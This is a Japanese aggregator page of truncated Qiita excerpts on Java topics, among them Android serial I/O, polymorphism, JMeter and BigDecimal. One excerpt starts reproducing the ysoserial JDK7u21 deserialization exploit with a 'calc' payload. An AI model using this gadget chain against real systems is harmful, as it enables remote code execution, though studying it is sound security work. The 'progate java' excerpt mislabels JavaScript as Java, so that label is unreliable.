JAVA関連のことを調べてみた2020年06月12日

JAVA関連のことを調べてみた2020年06月12日

Androidでシリアル通信を利用する

#はじめに
Androidでシリアル通信をする方法があまり紹介されていないので記載します。

##対象機器
Android
REX-USB60MB (USB-シリアル変換)

##対象環境
Android6.0
AndroidStudio
Kotlin

##ダウンロード

FTDI社のホームページから**Java D2XX Update including FT4222H support**の項目にある**here**をクリックしてライブラリをダウンロードします。
[FTDI社のホームページ](https://www.ftdichip.com/Android.htm)

ダウンロードした圧縮ファイルを解凍します

**ルート**フォルダにある**d2xx.jar**ファイルのみ使用します。
**res/xml/**フォルダにある**device_filter.xml**は中身が古いので使わずに作ります。

##d2xx.jarをライブラリに追加
プロジェクトツリーの1番上**Android**と表示されている右の▼をクリックして表示される一覧から**プロジェクト**を選択します。

元記事を表示

ログからアタリを付ける、ハングの原因となるHashMapの使い方

以下のような `HashMap` へのログが観測されたら

“`Sample1.log
at java.util.HashMap.findNonNullKeyEntry(HashMap.java:605)
at java.util.HashMap.putImpl(HashMap.java:701)
at java.util.HashMap.put(HashMap.java:684)
at zzz.yyy.xxx.setSomething(SomeUtil.java:nnn)
“`

“`Sample2.log
at java.util.HashMap$TreeNode.putTreeVal(HashMap.java:2013)
at java.util.HashMap.putVal(HashMap.java:648)
at java.util.HashMap.put(HashMap.java:622)
at zzz.yyy.xxx.setSomething(SomeUtil.java:nnn)
“`

例の場合、`SomeUtil.java` を見ましょう

元記事を表示

【Java】Apathce TikaでCharsetを取得する/CharsetからStringを初期化する【Kotlin】

# やること
`Apache Tika Parsers`を用いてファイルの`Charset`(文字コード)に関わらず、`Java`の`String`として読み込みます。

`Apache Tika Parsers`は以下からご利用ください。

– [Maven Repository: org\.apache\.tika » tika\-parsers](https://mvnrepository.com/artifact/org.apache.tika/tika-parsers)

# やり方
今回は`UniversalEncodingDetector()`を使って`Charset`を取得し、`Charset`に合わせて`String`のコンストラクタを呼び出しています。

例では`TikaInputStream`の初期化に`InputStream`などを利用していますが、やり方はいくつか有るので各ドキュメントをご参照下さい。
`String`の初期化などもそうです。

“`kotlin
// MetadataはKotlinと名前被りが有るため改名して用いる
import org.a

元記事を表示

AWSのEC2にサーブレット(Servlet)環境を構築するメモ

## 1.Javaインストール

### Java8の検索
“`
yum search java-1.8.0-openjdk-devel
“`

### Java8のインストール
“`
sudo yum install java-1.8.0-openjdk-devel
“`

## 2.Apachのインストール

### Apachのインストール
“`
sudo yum -y install httpd
“`

### Apachの起動
“`
sudo service httpd start
“`

### 再起動時に自動起動
“`
sudo systemctl enable httpd.service
“`

## 3.インバウンドルールの作成
1. セキュリティグループ
2. インバウンドルールを編集
3. 「`HTTP TCP 80(ポート範囲) 0.0.0.0/0`」を作成
4. ルールを保存

## 4.Tomcatインストール

### Tomcatインストール
“`
sudo amazon-linux-extras install tomcat8.5

元記事を表示

java(多態性のメリット)

#多態性と配列の組み合わせ
###配列を組み合わせていないコード

“`java
public class Main {
public static void main(String[] args) {
Hero h1 = new Hero();
Hero h2 = new Hero();
Thief t1 = new Thief();
Wizard w1 = new Wizard();
Wizard w2 = new Wizard();
//冒険開始!
//まず宿屋に泊まる
h1.hp += 50;
h2.hp += 50;
t1.hp += 50;
w1.hp += 50;
w2.hp += 50;
}
}
“`

###配列を組み合わせたコード

“`java
public class Main {
public static void main(String[] args) {
Character[] c = new Character[5];
c[

元記事を表示

java(多態性)

#多態性(ポリモーフィズム)
「インスタンスをあいまいに捉える」
継承によりis-aの関係が成立しているなら、インスタンスを親クラス型の変数に代入することができる

“`java
SuperHero h = new SuperHero();
“`
通常のSuperHeroインスタンス

“`java
Character c = new SuperHero();
“`
SuperHeroクラスの親クラスにCharacterを持っている前提

##あいまいな型の箱へのインスタンスの代入

“`java
public class Main {
public static void main(String[] args) {
Wizard w = new Wizard();
Character c = w; // Character型の箱にいれる
Matango m = new Matango();
c.name = “魔法使い”;
c.attack(m); //呼び出せる

元記事を表示

初心者が1ヶ月でJava Silverを取得した話

#はじめに
4ヶ月前、Java Silverに合格できたので諸々の振り返りと
今から勉強しようって人たちの役に立てればと思ったので書いていきます。

#Java Silverとは
Java Silverとはオラクル公認のJavaの技術レベル認定資格です。
世界共通ベンダー試験で、特にSilver以上は全世界で通用する共通資格となっているので、
Java関連の資格の中で最も人気がある資格のようです。

#Java Silverの試験概要
Java Silverは試験時間150分の全77問の選択形式の試験です。
65%以上の点数で合格とされているので、51問以上正解すれば合格します。

受験料は¥26,600(税別)で、オラクルの公式ページから受験チケットの購入するか、楽天でも購入できます。
確か楽天の方がちょっと安かったと思うので楽天をオススメします。

#Java Silverの受験方法
受験するまで色々と手続きがあります。試験が終わった後も色々と手続きがあります。
こちらの記事が分かりやすかったので参照してみてください。
[Java Silverの試験を受けたんだが手続きがマジめんど

元記事を表示

Spockで強制的にエラー[Exception]を発生させる

“`groovy:ServiceImpl
def “異常系”() {
setup:
// service.createBody(_ as boolean) >> { throw new RuntimeException(“dummy”) }
service.createBody(_) >> { throw new RuntimeException(“dummy”) }

when:
String testString = service.send(to, hash)

then:
RuntimeException e = thrown()
e.getMessage() == expected

where:
testcase | to | hash | expected
“test” | “aaa@co.jp” | “testhash” | “dummy

元記事を表示

shaded-jarの作り方

# Shaded jarとは
Javaでのdependency-hellを回避するための方法の一つ。

元々のコードベースが、ライブラリAのバージョンXに依存しているとする。
このコードベースに新たなライブラリBを追加したい。
しかしながら、ライブラリBはライブラリAのバージョンYに依存しており、
ライブラリAのバージョンXとYは互換性がないという状況を考えよう。

“`
CodeBase
|- Library A, Version X
|- Library B
|- Library A, Version Y # Conflict!!!
“`

このままではライブラリAのバージョンX, Yのどちらを選んでも新規機能と既存機能の
両方を同時に動かすことはできない。

ここで登場するのがshaded-jarである。
Library AのバージョンYのクラスを全てLibrary Bに同梱してしまい、依存関係を排除したライブラリB’を作成するという方法だ。

“`
CodeBase
|- Library A, Version X
|- Library B’ (includ

元記事を表示

Mac,VSCode,JavaでHelloWorldした

# はじめに

タイトル通り、ただHelloWorldするだけです。
よくある標準出力するだけの課題とかをささっとすますにはいいかもしれません。
今からこの環境でWebアプリとか作っちゃうんだ!って人にはお勧めしません。
他にIntelliJ IDEA, Eclipse + Pleiades, NetBeansでの環境構築をしている記事等々あると思うので、そちらを参考にしてください。
どうしても、VSCodeでやってみたいんだ!って人だけ参考にしていただければと思います。

## 動作確認した環境

– macOS : Catalina 10.15.5
– VSCode : 1.45.1
– Java : Amazon Correto 11.0.7

## 方法

Javaはすでに入っているよと言う人は、「VSCodeにJavaの拡張を入れる」まで飛ばしてください。

### SDKMAN!をインストールする

SDKMAN!は簡単に言うと同一環境で複数のJavaを管理するためのツールです。
こちらを参考にSDKMAN!をインストールしましょう。

元記事を表示

progate java L1基本まとめ cosole.log,変数と定数の違い、if文

#console.log
console.log();と使う
コンソール上に()内を表示させる
注意点として文字列を表示させたい場合はconsole.log(“”)のように文字列を””で囲む

○ console.log(“あいうえお”) ⇨ あいうえお と表示される
× console.log(あいうえお) ⇨ referenceエラーになる

#値の宣言 変数letと定数const

値を宣言する場合、letまたはconstで宣言する

let numberA = 1;
const numberB = 2;

この2つには違いがあり、letは更新できるがconstは更新できない

###値の更新
変数は値を更新することができる
let numberA = 1;
この時点ではnumberAは1だが、

numberA = 10;
これでnumberAはではなく10になる

#if文
if(条件){処理}←セミコロンは付けない
(条件)を満たした場合に{処理}が実行される

条件の例
a>=b aは以上
a

RとJavaの文法を翻訳してみた【随時更新】

#まえがき
##これは何?
統計データの処理、解析に特化した言語である**R**の文法を、汎用言語である**Java**の書式と比較して対置してみたものです。
Javaがわかる人がRを書きたい時に使えるように、参考にしてください。

##必要な前提知識(Javaサイド)
・変数の型(int, double, boolean, String, Object辺り)について理解している
・多次元配列がわかる
・List, Mapが使える(一部サンプルコードで使用しています)
・拡張for文[Java 8]が使える(同上)

Rでやりたいことって言うと、だいたいこの辺が押さえられていればわかると思います。

##必要な前提知識(Rサイド)
・Rをインストールした
・文末にセミコロンが無くていいことぐらいは知っている
・やるき

#R-Java対置辞典

##汎用の文法
###JavaとRで共通のもの
・**除算絡み以外**の算術演算子(+, -, *)
・比較演算子(<, >, <=, >=, !=)
・条件論理演算子(&&, ||)、論理演算子(&, |)、否定(!)

###異なるもの

JMeterで負荷テスト

ハマったところの忘備録と、意外と上から下まで説明した記事がなかったのでまとめ。

# 目的
JMeterで、負荷テストを行う。
1秒10アクセス。
https://hogehoge.jp/abc を対象とする
ベーシック認証付き
nuxt.js、API通信でバックエンドはLaravel
JMeterはMacで実施。

# JMeterインストール
何はともあれJMeterをインストール。
brewで行います。brewがない場合はbrewをインストールしてね。

JMeterを使うには、本体とJavaが必要です。

“`sh
brew install jmeter
brew tap homebrew/cask-versions
brew cask install java
“`
javaはこれ書いている時点でバージョン14がインストールされましたが普通に使えました。

# JMeterの実行
コンソールから実行します。

“`
jmeter
“`

するとGUIツールが開きます。この画面を使ってテスト計画(テストの内容)を作ります。

Javaが既存のPDFドキュメントにページ番号を追加する

日常業務では、PDF文書の読み取り、検索、管理を容易にするために、PDF文書にページ番号を追加する必要があることがよくあります。 そこで、Free Spire.PDF for Javaを使用して、JavaプログラムでPDF文書にページ番号をすばやく追加する方法を紹介します。

**まず、参照用に結果グラフを配置します:**
![page numbers.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/278784/28ff65e4-e9cf-f083-082e-7a65b228181c.png)

**基本的な手順:**
**1.** [Free Spire.PDF for Java](https://www.e-iceblue.com/Download/pdf-for-java-free.html)パッケージをダウンロードして解凍します。
**2.** libフォルダーのSpire.Pdf.jarパッケージを依存関係としてJavaアプリケーションにインポートします。(Mavenリポジトリから直接JAR

java BigDecimal型からString型へ型変換

javaにはもともとBigDecimalというクラスがあるみたいです。

初めてBigDecimal型の変数を宣言し、
最終的にBigDecimal型の変数をString型に変換したいと持った時にvalueOf()メソッドを使えばいいんじゃないかと思ったがBigDecimalには型変換用のメソッドがあるみたいでした

サンプル
スクリーンショット 2020-06-10 16.09.28.png

<簡単に説明>
まず上の方でBigDecimal型の変数宣言&初期化をしております。
全部で3つの変数(right,left,decimalValue)があります。

次に、switch文でrightとleftの計算結果をdecimalValueに格納してます。

そして注目ポイントである型変換ですが、
String d

美大生のためのプログラミング入門:基本的な四角形の描き方

※ Qiita では、本文部分のみの印刷に苦労します。そのため、同じ内容を以下のページにも掲載しています。プリンツアウトしたり PDF 化したい人は、こちらのページを利用して下しさい(同じ内容です):

http://gurakura.sakura.ne.jp/hellomondrian/rect1/

# はじめに:四角形を描く

![composition-in-color-a-1917.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/176385/7956f17e-40cd-2844-71d4-54679944fc34.jpeg)

 上の画像は Piet Mondrian の作品 Composition in Color A (1917 年)で、[https://www.wikiart.org/en/piet-mondrian/composition-in-color-a-1917](https://www.wikiart.org/en/piet-mondrian/composition-in-c

VS CodeでJavaの未使用インポートを保存時に消す設定

Visual Studio Codeで
Javaのソースファイルにて、
保存時に
未使用インポートを消す。

という設定を見つけましたので、メモしておきます。

Java > Save Actions: Organize Imports
JavaSaveActionsOrganizeImports.png

です。

Macをご使用の方は
「Command + ,」で設定ファイルを開き、「Java import」って検索ワードを打ち込むと見つかると思います。

ちなみに、

Organize は 整理する って意味で、 オーガナイズ と発音するそうです。[こちら](https://www.google.com/search?q=Organize+%E6%84%8F%E5%91%B3&oq=Organize%E3

Ysoserial JDK7u21

## 环境
jdk7u21 ysoserial idea

## 复现
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/9b93766d-c715-ef1d-520a-8b5b59df49b5.png)

“`java
package ysoserial.mytest;

import ysoserial.payloads.Jdk7u21;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class JDK7u21 {
public static void main(String[] args) {
try {
Object calc = new Jdk7u21().get

Cannot apply expression operators to method bindingとなった時の対応方法

– 環境
– CentOS Linux release 7.8.2003 (Core)
– Eclipse IDE for Enterprise Java Developers Version: 2020-03 (4.15.0)
– openjdk version 11.0.7

# 事象 : JSFの「!(否定)」でなぜか怒られている

“`xhtml:hoge.xhtml

“`

“`text:エラーメッセージ
Cannot apply expression operators to method binding
“`

# 原因 : 書き方がいまいち?
英語のサイトが多くていまいちちゃんとした原因わからず。
誰か説明してほ

初心者がObject指向を理解するまでに行ったこと

# Object指向を理解するまでに行ったこと
– Javaの基本文法の復習
– 参考書を読破
– スッキリわかるJava入門 第2版

## そもそもObject指向とは
 参考書には、下記のように記載されていました。
 「オブジェクト指向とは、 **ソフトウェアを開発するときに用いる部品化の考え方** のこと。」
 
 とはいえ、部品化とだけだと理解が難しいと思います。
 そこで、オブジェクト指向を理解するためにこのような手順で理解していきました。

 1. Object指向を使うメリット
 2. Object指向の本質の理解
 3. Object指向の3大機能

### 1. Object指向を使うメリット

 簡単にいうと、楽に開発できることです。
 例えば、複数同じ実装をする時に、Object指向を使うと1回で済みます。
 また、私たちが理解しやすい構造になるため、複雑な内容でもミスを減らし、
 実装できるようになります。

 オブジェクト指向は、
 「プログラミングで作成する仮想世界を現実世界に当てはめること」
 が最大のメリットです。

 したがっって、
 「開発時間を